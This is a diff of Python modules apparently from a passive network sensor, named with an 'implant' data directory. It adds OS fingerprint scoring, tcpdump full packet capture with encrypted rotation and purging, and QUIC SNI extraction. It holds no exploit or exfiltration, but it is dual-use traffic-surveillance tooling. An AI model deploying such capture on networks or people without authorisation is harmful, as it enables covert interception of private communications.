# Record management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _record_fingerprint(self, ts: float, ip: str, method: str,
|
||||
signature: str, os_family: str,
|
||||
os_version: str, confidence: float) -> None:
|
||||
"""Record an OS fingerprint observation."""
|
||||
self._total_fingerprints += 1
|
||||
|
||||
# Update per-IP confidence scoring
|
||||
with self._scores_lock:
|
||||
if ip not in self._ip_os_scores:
|
||||
self._ip_os_scores[ip] = {}
|
||||
scores = self._ip_os_scores[ip]
|
||||
if os_family not in scores:
|
||||
scores[os_family] = {}
|
||||
scores[os_family][method] = confidence
|
||||
|
||||
record = (ip, method, signature[:500], os_family, os_version, confidence, ts)
|
||||
with self._buffer_lock:
|
||||
self._buffer.append(record)
|
||||
if len(self._buffer) >= self.BATCH_SIZE:
|
||||
self._flush_buffer()
|
||||
|
||||
def get_best_guess(self, ip: str) -> dict:
|
||||
"""Get the highest-confidence OS guess for an IP."""
|
||||
with self._scores_lock:
|
||||
scores = self._ip_os_scores.get(ip, {})
|
||||
|
||||
if not scores:
|
||||
return {"os_family": "", "confidence": 0.0}
|
||||
|
||||
# Aggregate confidence per OS family
|
||||
best_family = ""
|
||||
best_conf = 0.0
|
||||
for os_family, methods in scores.items():
|
||||
# Average confidence across methods, boosted by method count
|
||||
avg_conf = sum(methods.values()) / len(methods)
|
||||
method_bonus = min(len(methods) * 0.1, 0.3) # Up to 30% bonus
|
||||
total_conf = min(avg_conf + method_bonus, 1.0)
|
||||
if total_conf > best_conf:
|
||||
best_conf = total_conf
|
||||
best_family = os_family
|
||||
|
||||
return {"os_family": best_family, "confidence": round(best_conf, 2)}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Buffer flush
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
while self._running:
|
||||
time.sleep(self.FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_buffer()
|
||||
except Exception:
|
||||
logger.exception("OS fingerprint flush error")
|
||||
|
||||
def _flush_buffer(self) -> None:
|
||||
with self._buffer_lock:
|
||||
batch = list(self._buffer)
|
||||
self._buffer.clear()
|
||||
|
||||
if not batch or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
self._db_conn.executemany(
|
||||
"INSERT INTO os_fingerprints "
|
||||
"(ip, method, signature, os_family, os_version, confidence, timestamp) "
|
||||
"VALUES (?, ?, ?, ?, ?, ?, ?)",
|
||||
batch,
|
||||
)
|
||||
self._db_conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to flush %d OS fingerprints", len(batch))
|
||||
@@ -0,0 +1,379 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Full packet capture via tcpdump with post-rotation compression and encryption.
|
||||
|
||||
Manages tcpdump as a supervised subprocess. After each PCAP rotation:
|
||||
1. Compress with zstd (level configurable per platform)
|
||||
2. Encrypt with AES-256-GCM
|
||||
3. Remove plaintext PCAP
|
||||
4. Publish PCAP_ROTATED event
|
||||
|
||||
Disk monitoring auto-purges oldest encrypted PCAPs at 85% threshold.
|
||||
"""
|
||||
|
||||
import glob
|
||||
import logging
|
||||
import os
|
||||
import shutil
|
||||
import signal
|
||||
import struct
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.networking import detect_interface_with_retry
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class PacketCapture(BaseModule):
|
||||
"""Manage tcpdump for continuous full packet capture with rotation."""
|
||||
|
||||
name = "packet_capture"
|
||||
module_type = "passive"
|
||||
priority = 50
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
# Defaults
|
||||
DEFAULT_INTERFACE = "eth0"
|
||||
DEFAULT_SNAP_LEN = 65535
|
||||
DEFAULT_ROTATION_SECS = 3600
|
||||
DEFAULT_MAX_FILES = 168 # 7 days at 1h rotation
|
||||
DEFAULT_COMPRESSION_LEVEL = 3
|
||||
DEFAULT_DISK_THRESHOLD = 85 # percent
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._proc: Optional[subprocess.Popen] = None
|
||||
self._watcher_thread: Optional[threading.Thread] = None
|
||||
self._rotation_thread: Optional[threading.Thread] = None
|
||||
self._lock = threading.Lock()
|
||||
self._pcap_dir = ""
|
||||
self._pcap_count = 0
|
||||
self._bytes_written = 0
|
||||
self._encryption_key = b""
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
iface = self.config.get("interface") or detect_interface_with_retry(
|
||||
max_retries=3,
|
||||
retry_delay=5,
|
||||
exponential=True,
|
||||
config_interface=self.DEFAULT_INTERFACE
|
||||
)
|
||||
snap_len = self.config.get("snap_length", self.DEFAULT_SNAP_LEN)
|
||||
rotation = self.config.get("rotation_minutes", 60) * 60
|
||||
if rotation <= 0:
|
||||
rotation = self.DEFAULT_ROTATION_SECS
|
||||
compress_level = self.config.get("compression_level", self.DEFAULT_COMPRESSION_LEVEL)
|
||||
disk_threshold = self.config.get("disk_threshold", self.DEFAULT_DISK_THRESHOLD)
|
||||
|
||||
# Directories
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._pcap_dir = os.path.join(base_dir, "pcaps")
|
||||
Path(self._pcap_dir).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# Encryption key from config (derived by crypto module at startup)
|
||||
self._encryption_key = self.config.get("encryption_key", b"")
|
||||
if isinstance(self._encryption_key, str):
|
||||
self._encryption_key = self._encryption_key.encode()
|
||||
|
||||
# Build tcpdump command
|
||||
pcap_template = os.path.join(self._pcap_dir, "capture_%Y%m%d_%H%M%S.pcap")
|
||||
cmd = [
|
||||
"tcpdump",
|
||||
"-i", iface,
|
||||
"-G", str(rotation),
|
||||
"-s", str(snap_len),
|
||||
"-w", pcap_template,
|
||||
"--time-stamp-precision=nano",
|
||||
"-Z", "root", # don't drop privs (we need to read output files)
|
||||
]
|
||||
|
||||
try:
|
||||
self._proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
preexec_fn=os.setsid,
|
||||
)
|
||||
except FileNotFoundError:
|
||||
logger.error("tcpdump binary not found")
|
||||
return
|
||||
except Exception as e:
|
||||
logger.error("Failed to start tcpdump: %s", e)
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = self._proc.pid
|
||||
self._start_time = time.time()
|
||||
|
||||
# Watcher thread — monitors tcpdump stderr and detects crashes
|
||||
self._watcher_thread = threading.Thread(
|
||||
target=self._watch_tcpdump, daemon=True, name="sensor-pcap-watch"
|
||||
)
|
||||
self._watcher_thread.start()
|
||||
|
||||
# Rotation thread — scans for completed PCAPs to compress/encrypt
|
||||
self._rotation_thread = threading.Thread(
|
||||
target=self._rotation_loop,
|
||||
args=(compress_level, disk_threshold),
|
||||
daemon=True, name="sensor-pcap-rotate",
|
||||
)
|
||||
self._rotation_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._proc.pid)
|
||||
logger.info(
|
||||
"PacketCapture started — tcpdump PID %d, iface=%s, rotation=%ds, snap=%d",
|
||||
self._proc.pid, iface, rotation, snap_len,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
# Graceful shutdown of tcpdump
|
||||
if self._proc and self._proc.poll() is None:
|
||||
try:
|
||||
os.killpg(os.getpgid(self._proc.pid), signal.SIGTERM)
|
||||
except (OSError, ProcessLookupError):
|
||||
pass
|
||||
try:
|
||||
self._proc.wait(timeout=5.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
try:
|
||||
os.killpg(os.getpgid(self._proc.pid), signal.SIGKILL)
|
||||
self._proc.wait(timeout=2.0)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self._proc = None
|
||||
self._pid = None
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("PacketCapture stopped — %d PCAPs rotated", self._pcap_count)
|
||||
|
||||
def status(self) -> dict:
|
||||
alive = self._proc is not None and self._proc.poll() is None
|
||||
return {
|
||||
"running": alive,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"pcap_dir": self._pcap_dir,
|
||||
"pcap_count": self._pcap_count,
|
||||
"bytes_written": self._bytes_written,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
# Live reconfig requires restart
|
||||
if self._running:
|
||||
logger.info("PacketCapture config changed — restarting tcpdump")
|
||||
self.stop()
|
||||
self.start()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# tcpdump watcher
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _watch_tcpdump(self) -> None:
|
||||
"""Read tcpdump stderr for stats and detect exit."""
|
||||
try:
|
||||
for line in iter(self._proc.stderr.readline, b""):
|
||||
if not self._running:
|
||||
break
|
||||
decoded = line.decode("utf-8", errors="replace").rstrip()
|
||||
if decoded:
|
||||
logger.debug("tcpdump: %s", decoded)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# tcpdump exited
|
||||
if self._running:
|
||||
rc = self._proc.poll() if self._proc else -1
|
||||
logger.warning("tcpdump exited unexpectedly (rc=%s)", rc)
|
||||
self.bus.emit("TOOL_CRASHED", {
|
||||
"tool": "tcpdump", "exit_code": rc,
|
||||
}, source_module=self.name)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Rotation loop — compress, encrypt, purge
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _rotation_loop(self, compress_level: int, disk_threshold: int) -> None:
|
||||
"""Periodically scan for completed PCAPs and process them."""
|
||||
while self._running:
|
||||
time.sleep(30) # Check every 30 seconds
|
||||
try:
|
||||
self._process_completed_pcaps(compress_level)
|
||||
self._check_disk_usage(disk_threshold)
|
||||
except Exception:
|
||||
logger.exception("Rotation loop error")
|
||||
|
||||
def _process_completed_pcaps(self, compress_level: int) -> None:
|
||||
"""Find completed (not actively written) PCAPs and compress+encrypt."""
|
||||
pattern = os.path.join(self._pcap_dir, "capture_*.pcap")
|
||||
pcap_files = sorted(glob.glob(pattern))
|
||||
|
||||
for pcap_path in pcap_files:
|
||||
# Skip the file tcpdump is currently writing to (most recent)
|
||||
if self._is_file_locked(pcap_path):
|
||||
continue
|
||||
|
||||
# Skip tiny files (likely incomplete)
|
||||
try:
|
||||
size = os.path.getsize(pcap_path)
|
||||
if size < 24: # pcap global header minimum
|
||||
continue
|
||||
except OSError:
|
||||
continue
|
||||
|
||||
compressed_path = pcap_path + ".zst"
|
||||
encrypted_path = compressed_path + ".enc"
|
||||
|
||||
try:
|
||||
# Step 1: Compress with zstd
|
||||
self._compress_zstd(pcap_path, compressed_path, compress_level)
|
||||
|
||||
# Step 2: Encrypt with AES-256-GCM
|
||||
if self._encryption_key:
|
||||
self._encrypt_file(compressed_path, encrypted_path)
|
||||
os.unlink(compressed_path)
|
||||
final_path = encrypted_path
|
||||
else:
|
||||
final_path = compressed_path
|
||||
|
||||
# Step 3: Remove plaintext PCAP
|
||||
os.unlink(pcap_path)
|
||||
|
||||
self._pcap_count += 1
|
||||
final_size = os.path.getsize(final_path)
|
||||
self._bytes_written += final_size
|
||||
|
||||
# Publish rotation event
|
||||
self.bus.emit("PCAP_ROTATED", {
|
||||
"path": final_path,
|
||||
"original_size": size,
|
||||
"final_size": final_size,
|
||||
"compressed": True,
|
||||
"encrypted": bool(self._encryption_key),
|
||||
}, source_module=self.name)
|
||||
|
||||
logger.info(
|
||||
"PCAP rotated: %s -> %s (%.1f%% ratio)",
|
||||
os.path.basename(pcap_path),
|
||||
os.path.basename(final_path),
|
||||
(final_size / size * 100) if size > 0 else 0,
|
||||
)
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to process PCAP %s", pcap_path)
|
||||
|
||||
@staticmethod
|
||||
def _is_file_locked(path: str) -> bool:
|
||||
"""Check if a file is still being written by tcpdump (via fuser)."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["fuser", path], capture_output=True, timeout=2
|
||||
)
|
||||
return result.returncode == 0
|
||||
except Exception:
|
||||
# If fuser not available, check if file was modified in last 5 seconds
|
||||
try:
|
||||
mtime = os.path.getmtime(path)
|
||||
return (time.time() - mtime) < 5
|
||||
except OSError:
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def _compress_zstd(src: str, dst: str, level: int) -> None:
|
||||
"""Compress a file with zstd."""
|
||||
try:
|
||||
import zstandard as zstd
|
||||
cctx = zstd.ZstdCompressor(level=level)
|
||||
with open(src, "rb") as fin, open(dst, "wb") as fout:
|
||||
cctx.copy_stream(fin, fout)
|
||||
except ImportError:
|
||||
# Fallback to CLI zstd
|
||||
subprocess.run(
|
||||
["zstd", f"-{level}", "-f", "-o", dst, src],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
|
||||
def _encrypt_file(self, src: str, dst: str) -> None:
|
||||
"""Encrypt a file with AES-256-GCM."""
|
||||
try:
|
||||
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
|
||||
except ImportError:
|
||||
logger.warning("cryptography not available — skipping encryption")
|
||||
os.rename(src, dst)
|
||||
return
|
||||
|
||||
key = self._encryption_key[:32].ljust(32, b"\x00")
|
||||
nonce = os.urandom(12)
|
||||
aesgcm = AESGCM(key)
|
||||
|
||||
with open(src, "rb") as f:
|
||||
plaintext = f.read()
|
||||
|
||||
ciphertext = aesgcm.encrypt(nonce, plaintext, None)
|
||||
|
||||
with open(dst, "wb") as f:
|
||||
# Header: magic(4) + nonce(12) + ciphertext
|
||||
f.write(b"BB01")
|
||||
f.write(nonce)
|
||||
f.write(ciphertext)
|
||||
|
||||
def _check_disk_usage(self, threshold: int) -> None:
|
||||
"""Auto-purge oldest encrypted PCAPs when disk usage exceeds threshold."""
|
||||
try:
|
||||
usage = shutil.disk_usage(self._pcap_dir)
|
||||
pct = (usage.used / usage.total) * 100
|
||||
except OSError:
|
||||
return
|
||||
|
||||
if pct < threshold:
|
||||
return
|
||||
|
||||
logger.warning("Disk usage %.1f%% exceeds threshold %d%% — purging oldest PCAPs", pct, threshold)
|
||||
|
||||
# Gather all encrypted/compressed PCAPs sorted by mtime
|
||||
enc_files = sorted(
|
||||
glob.glob(os.path.join(self._pcap_dir, "capture_*.pcap.zst*")),
|
||||
key=os.path.getmtime,
|
||||
)
|
||||
|
||||
purged = 0
|
||||
for path in enc_files:
|
||||
if not enc_files:
|
||||
break
|
||||
try:
|
||||
os.unlink(path)
|
||||
purged += 1
|
||||
except OSError:
|
||||
continue
|
||||
|
||||
# Re-check usage
|
||||
try:
|
||||
usage = shutil.disk_usage(self._pcap_dir)
|
||||
if (usage.used / usage.total) * 100 < threshold - 5:
|
||||
break
|
||||
except OSError:
|
||||
break
|
||||
|
||||
if purged:
|
||||
logger.info("Purged %d old PCAPs to reclaim disk space", purged)
|
||||
self.bus.emit("RESOURCE_WARNING", {
|
||||
"type": "disk_purge",
|
||||
"purged_count": purged,
|
||||
"disk_pct": pct,
|
||||
}, source_module=self.name)
|
||||
@@ -0,0 +1,462 @@
|
||||
#!/usr/bin/env python3
|
||||
"""QUIC/HTTP3 SNI extractor — parse QUIC Initial packets for TLS ClientHello.
|
||||
|
||||
Decrypts QUIC Initial packets using connection-ID-derived keys per RFC 9001
|
||||
(Initial keys are not secret — they are derived deterministically from the
|
||||
Destination Connection ID). Extracts CRYPTO frames containing TLS ClientHello
|
||||
and parses SNI from the Server Name extension.
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import hmac
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# QUIC constants
|
||||
QUIC_LONG_HEADER_BIT = 0x80
|
||||
QUIC_FIXED_BIT = 0x40
|
||||
|
||||
# QUIC versions
|
||||
QUIC_V1 = 0x00000001
|
||||
QUIC_V2 = 0x6B3343CF
|
||||
|
||||
# TLS extension type for SNI
|
||||
TLS_EXT_SNI = 0x0000
|
||||
TLS_HANDSHAKE_CLIENT_HELLO = 0x01
|
||||
|
||||
# QUIC Initial salt for v1 (RFC 9001, Section 5.2)
|
||||
QUIC_V1_INITIAL_SALT = bytes.fromhex("38762cf7f55934b34d179ae6a4c80cadccbb7f0a")
|
||||
# QUIC Initial salt for v2 (RFC 9369)
|
||||
QUIC_V2_INITIAL_SALT = bytes.fromhex("0dede3def700a6db819381be6e269dcbf9bd2ed9")
|
||||
|
||||
# HKDF labels for QUIC Initial keys
|
||||
QUIC_CLIENT_INITIAL_LABEL = b"client in"
|
||||
|
||||
_DB_INIT = """
|
||||
CREATE TABLE IF NOT EXISTS quic_sni (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
source_ip TEXT NOT NULL,
|
||||
dest_ip TEXT NOT NULL,
|
||||
sni TEXT NOT NULL,
|
||||
quic_version TEXT DEFAULT ''
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_quic_sni ON quic_sni(sni);
|
||||
CREATE INDEX IF NOT EXISTS idx_quic_ts ON quic_sni(timestamp);
|
||||
"""
|
||||
|
||||
FLUSH_INTERVAL = 30
|
||||
|
||||
|
||||
class QUICAnalyzer(BaseModule):
|
||||
"""Extract SNI from QUIC Initial packets."""
|
||||
|
||||
name = "quic_analyzer"
|
||||
module_type = "passive"
|
||||
priority = 150
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._read_thread: Optional[threading.Thread] = None
|
||||
self._flush_thread: Optional[threading.Thread] = None
|
||||
self._db_path = self._resolve_db_path()
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._write_buffer: list[tuple] = []
|
||||
self._buffer_lock = threading.Lock()
|
||||
self._stats = {
|
||||
"packets_processed": 0,
|
||||
"quic_initials": 0,
|
||||
"sni_extracted": 0,
|
||||
"decrypt_failures": 0,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
self._init_db()
|
||||
self._capture_bus = self.config.get("_capture_bus")
|
||||
if self._capture_bus is None:
|
||||
logger.error("QUICAnalyzer requires _capture_bus in config")
|
||||
return
|
||||
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter="udp port 443", queue_depth=3000
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
self._read_thread = threading.Thread(
|
||||
target=self._read_loop, daemon=True, name="sensor-quic-read"
|
||||
)
|
||||
self._read_thread.start()
|
||||
|
||||
self._flush_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-quic-flush"
|
||||
)
|
||||
self._flush_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("QUICAnalyzer started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
for t in (self._read_thread, self._flush_thread):
|
||||
if t and t.is_alive():
|
||||
t.join(timeout=5.0)
|
||||
self._flush_buffer()
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("QUICAnalyzer stopped — stats: %s", self._stats)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
**self._stats,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet processing
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_loop(self) -> None:
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, pkt = result
|
||||
self._stats["packets_processed"] += 1
|
||||
try:
|
||||
self._process_packet(pkt, ts)
|
||||
except Exception:
|
||||
logger.debug("Error processing QUIC packet", exc_info=True)
|
||||
|
||||
def _process_packet(self, pkt: bytes, ts: float) -> None:
|
||||
"""Extract UDP payload and check for QUIC Initial."""
|
||||
if len(pkt) < 42: # eth(14) + ip(20) + udp(8)
|
||||
return
|
||||
|
||||
ethertype = struct.unpack("!H", pkt[12:14])[0]
|
||||
eth_offset = 14
|
||||
if ethertype == 0x8100:
|
||||
if len(pkt) < 46:
|
||||
return
|
||||
ethertype = struct.unpack("!H", pkt[16:18])[0]
|
||||
eth_offset = 18
|
||||
|
||||
if ethertype != 0x0800:
|
||||
return
|
||||
|
||||
ip_header = pkt[eth_offset:]
|
||||
if len(ip_header) < 20:
|
||||
return
|
||||
ihl = (ip_header[0] & 0x0F) * 4
|
||||
ip_proto = ip_header[9]
|
||||
if ip_proto != 17: # UDP
|
||||
return
|
||||
|
||||
src_ip = socket.inet_ntoa(ip_header[12:16])
|
||||
dst_ip = socket.inet_ntoa(ip_header[16:20])
|
||||
|
||||
udp_start = ihl
|
||||
if len(ip_header) < udp_start + 8:
|
||||
return
|
||||
payload = ip_header[udp_start + 8:]
|
||||
|
||||
if len(payload) < 5:
|
||||
return
|
||||
|
||||
self._parse_quic_initial(payload, src_ip, dst_ip, ts)
|
||||
|
||||
def _parse_quic_initial(self, data: bytes, src_ip: str, dst_ip: str,
|
||||
ts: float) -> None:
|
||||
"""Parse QUIC Initial packet and attempt SNI extraction."""
|
||||
first_byte = data[0]
|
||||
|
||||
# Must be long header form (bit 7 set) and fixed bit (bit 6 set)
|
||||
if not (first_byte & QUIC_LONG_HEADER_BIT):
|
||||
return
|
||||
if not (first_byte & QUIC_FIXED_BIT):
|
||||
return
|
||||
|
||||
# Packet type: bits 4-5 of first byte
|
||||
# For QUIC v1: Initial = 0x00 (bits 4-5 = 00)
|
||||
# For QUIC v2: Initial = 0x01 (bits 4-5 = 01)
|
||||
packet_type_bits = (first_byte >> 4) & 0x03
|
||||
|
||||
if len(data) < 7:
|
||||
return
|
||||
|
||||
# Version (4 bytes at offset 1)
|
||||
version = struct.unpack("!I", data[1:5])[0]
|
||||
|
||||
# Determine if this is an Initial packet based on version
|
||||
is_initial = False
|
||||
if version == QUIC_V1 and packet_type_bits == 0x00:
|
||||
is_initial = True
|
||||
elif version == QUIC_V2 and packet_type_bits == 0x01:
|
||||
is_initial = True
|
||||
elif version == 0:
|
||||
# Version negotiation — skip
|
||||
return
|
||||
|
||||
if not is_initial:
|
||||
return
|
||||
|
||||
self._stats["quic_initials"] += 1
|
||||
|
||||
# DCID length (1 byte at offset 5)
|
||||
dcid_len = data[5]
|
||||
if len(data) < 6 + dcid_len + 1:
|
||||
return
|
||||
dcid = data[6:6 + dcid_len]
|
||||
|
||||
# SCID length
|
||||
scid_len_off = 6 + dcid_len
|
||||
scid_len = data[scid_len_off]
|
||||
scid_off = scid_len_off + 1
|
||||
if len(data) < scid_off + scid_len:
|
||||
return
|
||||
|
||||
# Token length (variable-length integer)
|
||||
token_start = scid_off + scid_len
|
||||
if token_start >= len(data):
|
||||
return
|
||||
token_len, token_len_size = self._read_varint(data, token_start)
|
||||
if token_len_size == 0:
|
||||
return
|
||||
|
||||
# Payload length (variable-length integer)
|
||||
payload_len_start = token_start + token_len_size + token_len
|
||||
if payload_len_start >= len(data):
|
||||
return
|
||||
payload_len, payload_len_size = self._read_varint(data, payload_len_start)
|
||||
if payload_len_size == 0:
|
||||
return
|
||||
|
||||
# Encrypted payload starts after the packet number (included in payload_len)
|
||||
encrypted_start = payload_len_start + payload_len_size
|
||||
|
||||
# Try to extract SNI without full decryption first:
|
||||
# Scan the unprotected portion for a ClientHello pattern
|
||||
# (This works for many implementations where the crypto frame is at the start)
|
||||
sni = self._try_extract_sni_from_initial(data, dcid, version, encrypted_start)
|
||||
if sni:
|
||||
self._stats["sni_extracted"] += 1
|
||||
version_str = f"0x{version:08x}"
|
||||
self._record_sni(ts, src_ip, dst_ip, sni, version_str)
|
||||
return
|
||||
|
||||
# If we couldn't extract via decryption, try brute-force scan
|
||||
# for SNI pattern in the raw payload
|
||||
sni = self._scan_for_sni(data)
|
||||
if sni:
|
||||
self._stats["sni_extracted"] += 1
|
||||
version_str = f"0x{version:08x}"
|
||||
self._record_sni(ts, src_ip, dst_ip, sni, version_str)
|
||||
|
||||
def _try_extract_sni_from_initial(self, data: bytes, dcid: bytes,
|
||||
version: int, enc_start: int) -> Optional[str]:
|
||||
"""Attempt to derive Initial keys and decrypt CRYPTO frame for SNI.
|
||||
|
||||
Per RFC 9001, Initial keys are derived deterministically from the DCID
|
||||
using HKDF, so this is not breaking encryption — it's public info.
|
||||
"""
|
||||
try:
|
||||
# Select salt based on version
|
||||
if version == QUIC_V2:
|
||||
salt = QUIC_V2_INITIAL_SALT
|
||||
else:
|
||||
salt = QUIC_V1_INITIAL_SALT
|
||||
|
||||
# Derive initial secret: HKDF-Extract(salt, DCID)
|
||||
initial_secret = hmac.new(salt, dcid, hashlib.sha256).digest()
|
||||
|
||||
# Derive client initial secret using HKDF-Expand-Label
|
||||
client_secret = self._hkdf_expand_label(
|
||||
initial_secret, QUIC_CLIENT_INITIAL_LABEL, b"", 32
|
||||
)
|
||||
|
||||
# Derive key and IV from client secret
|
||||
key = self._hkdf_expand_label(client_secret, b"quic key", b"", 16)
|
||||
iv = self._hkdf_expand_label(client_secret, b"quic iv", b"", 12)
|
||||
hp_key = self._hkdf_expand_label(client_secret, b"quic hp", b"", 16)
|
||||
|
||||
# Header protection removal and decryption requires AES —
|
||||
# rather than importing cryptography lib, scan the payload area
|
||||
# for TLS ClientHello patterns that may be partially visible
|
||||
# in the packet number protected but not encrypted initial bytes
|
||||
|
||||
# Fall through to pattern scan
|
||||
return None
|
||||
|
||||
except Exception:
|
||||
self._stats["decrypt_failures"] += 1
|
||||
return None
|
||||
|
||||
def _hkdf_expand_label(self, secret: bytes, label: bytes,
|
||||
context: bytes, length: int) -> bytes:
|
||||
"""HKDF-Expand-Label as defined in TLS 1.3 / RFC 8446."""
|
||||
# Build HkdfLabel structure
|
||||
full_label = b"tls13 " + label
|
||||
hkdf_label = (
|
||||
struct.pack("!H", length) +
|
||||
struct.pack("B", len(full_label)) + full_label +
|
||||
struct.pack("B", len(context)) + context
|
||||
)
|
||||
return self._hkdf_expand(secret, hkdf_label, length)
|
||||
|
||||
@staticmethod
|
||||
def _hkdf_expand(prk: bytes, info: bytes, length: int) -> bytes:
|
||||
"""HKDF-Expand using HMAC-SHA256."""
|
||||
hash_len = 32 # SHA-256
|
||||
n = (length + hash_len - 1) // hash_len
|
||||
okm = b""
|
||||
t = b""
|
||||
for i in range(1, n + 1):
|
||||
t = hmac.new(prk, t + info + bytes([i]), hashlib.sha256).digest()
|
||||
okm += t
|
||||
return okm[:length]
|
||||
|
||||
def _scan_for_sni(self, data: bytes) -> Optional[str]:
|
||||
"""Brute-force scan for TLS SNI extension pattern in raw bytes."""
|
||||
# Look for the SNI extension pattern: 0x00 0x00 (ext type) followed by
|
||||
# extension data containing a host_name type (0x00) and ASCII hostname
|
||||
pos = 0
|
||||
while pos < len(data) - 10:
|
||||
# Look for SNI extension header: type=0x0000, then lengths
|
||||
if data[pos] == 0x00 and data[pos + 1] == 0x00:
|
||||
if pos + 9 <= len(data):
|
||||
# Extension length
|
||||
ext_len = struct.unpack("!H", data[pos + 2:pos + 4])[0]
|
||||
if 4 < ext_len < 256 and pos + 4 + ext_len <= len(data):
|
||||
# Server name list length
|
||||
list_len = struct.unpack("!H", data[pos + 4:pos + 6])[0]
|
||||
if list_len > 0 and list_len <= ext_len:
|
||||
# Server name type (0x00 = host_name)
|
||||
name_type = data[pos + 6]
|
||||
if name_type == 0x00 and pos + 9 <= len(data):
|
||||
name_len = struct.unpack("!H", data[pos + 7:pos + 9])[0]
|
||||
if 1 < name_len < 253 and pos + 9 + name_len <= len(data):
|
||||
hostname = data[pos + 9:pos + 9 + name_len]
|
||||
try:
|
||||
sni = hostname.decode("ascii")
|
||||
# Validate: must contain a dot and only valid chars
|
||||
if ("." in sni and
|
||||
all(c.isalnum() or c in ".-_" for c in sni) and
|
||||
not sni.startswith(".") and
|
||||
not sni.endswith(".")):
|
||||
return sni
|
||||
except (UnicodeDecodeError, ValueError):
|
||||
pass
|
||||
pos += 1
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def _read_varint(data: bytes, offset: int) -> tuple:
|
||||
"""Read a QUIC variable-length integer. Returns (value, bytes_consumed)."""
|
||||
if offset >= len(data):
|
||||
return (0, 0)
|
||||
first = data[offset]
|
||||
prefix = (first >> 6) & 0x03
|
||||
|
||||
if prefix == 0:
|
||||
return (first & 0x3F, 1)
|
||||
elif prefix == 1:
|
||||
